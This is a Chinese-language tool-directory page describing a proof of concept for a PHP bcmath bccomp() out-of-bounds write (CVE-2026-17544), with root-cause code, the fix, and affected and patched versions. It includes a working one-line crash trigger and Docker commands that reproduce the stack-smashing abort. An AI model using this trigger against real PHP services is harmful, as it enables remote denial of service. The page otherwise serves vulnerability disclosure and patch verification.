Skip to content
KitploitKITPLOIT
工具博客
提交
工具博客
提交

黑客、渗透测试和网络安全工具,武装您的安全武器库!

Kitploit 是一个黑客、网络安全和渗透测试工具的目录。发现最新的项目更新,查找漏洞、分析系统、自动化测试并加强你的安全。

··订阅源·联系·隐私·© 2026 Kitploit

工具目录

分类

查看所有分类
Loading categories
CVE-2026-17544-PoC — CVE-2026-17544 — PHP bcmath bccomp() 越界写入(栈破坏)。已验证:在 8.4.23/8.5.8 上崩溃,已在 8.4.24 中修复。GHSA-x692-q9x7-8c3f | Kitploit
工具/GitHubGitHub/boreas37/cve-2026-17544-poc
漏洞分析漏洞利用二进制利用
GitHubboreas37/cve-2026-17544-poc

CVE-2026-17544-PoC

CVE-2026-17544 — PHP bcmath bccomp() 越界写入(栈破坏)。已验证:在 8.4.23/8.5.8 上崩溃,已在 8.4.24 中修复。GHSA-x692-q9x7-8c3f

查看仓库
638天前尚未审核

最受欢迎

查看全部 →

发现我们社区最常用的工具。

探索所有工具

浏览我们的工具集合

查看所有工具 →
分享

CVE-2026-17544 — PHP bcmath `bccomp()` 越界写入(栈破坏)

CVSS 9.8(严重) · CWE-787 · GHSA-x692-q9x7-8c3f

概述

`bc_str2num()` 位于 `ext/bcmath/libbcmath/src/str2num.c`(内嵌的 libbcmath,PHP 8.4+)中,存在一个 off-by-N 越界写入。当用户提供的 `scale` 小于操作数的自动精度时,小数部分会被截断,随后执行尾随零修剪,但 `fractional_end` 未随之更新。缓冲区按修剪后(更短)的长度分配,但复制操作却使用了未修剪的长度 → 堆/栈缓冲区溢出。

受影响版本: PHP 8.4.* < 8.4.24,8.5.* < 8.5.9 修复版本: PHP 8.4.24 / 8.5.9(2026-07-30),提交 `fa18dab73f93` / `ce2ec8a70755` 报告者: Recep Asan (recepasan)

根本原因

root@kitploit:~
// ext/bcmath/libbcmath/src/str2num.c — bc_str2num()
str_scale -= fractional_end - fractional_new_end;   // fractional_end NOT updated here
...
bc_new_num_nonzeroed(digits, str_scale)            // allocates SHORT (trimmed) buffer
bc_copy_and_toggle_bcd(nptr, fractional_ptr, fractional_end)  // copies UNTRIMMED length

一行修复(`fractional_end = fractional_new_end;`)以及回归测试 `ext/bcmath/tests/GHSA-x692-q9x7-8c3f.phpt` 已在 8.4.24/8.5.9 中合并。

触发(已验证)

root@kitploit:~
bccomp("1." . "9" . str_repeat("0", 300) . "1", "0", 300);
构建结果
PHP 8.4.23(存在漏洞,Docker `php:8.4.23-cli` + bcmath)💥 `* stack smashing detected *`,exit 133 (SIGABRT)
PHP 8.5.8(存在漏洞)💥 相同 — 确定性中止
PHP 8.4.24(已修复,`php:8.4.24-cli`)✅ `int(1)`,exit 0

已于 2026-08-12 在 Raspberry Pi 5 (arm64) 上通过 Docker 验证。

用法

root@kitploit:~
# Vulnerable PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.23-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> stack smashing detected (exit 133)

# Patched PHP:
docker run --rm -v "$PWD":/app -w /app php:8.4.24-cli sh -c \
  'docker-php-ext-install bcmath >/dev/null 2>&1 && php trigger.php'
# -> int(1), exit 0

影响

  • 远程 DoS: 任何将攻击者控制的操作数/scale 传递给 `bccomp()` 的服务,都可能被确定性崩溃(8.4/8.5 中,启用栈保护(stack-protector)的构建会中止;未启用保护的构建会破坏已保存的寄存器/返回地址)。
  • RCE: 理论上可通过堆风水(heap grooming)实现,但越界(OOB)字节仅限于 BCD 值(0x00–0x09),且溢出大小 = 被修剪的零的个数 — 难度较大,尚未被证实。

参考资料

  • GHSA: https://github.com/php/php-src/security/advisories/GHSA-x692-q9x7-8c3f
  • NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-17544
  • 8.4 修复:`fa18dab73f93` · 8.5 修复:`ce2ec8a70755`
下载工具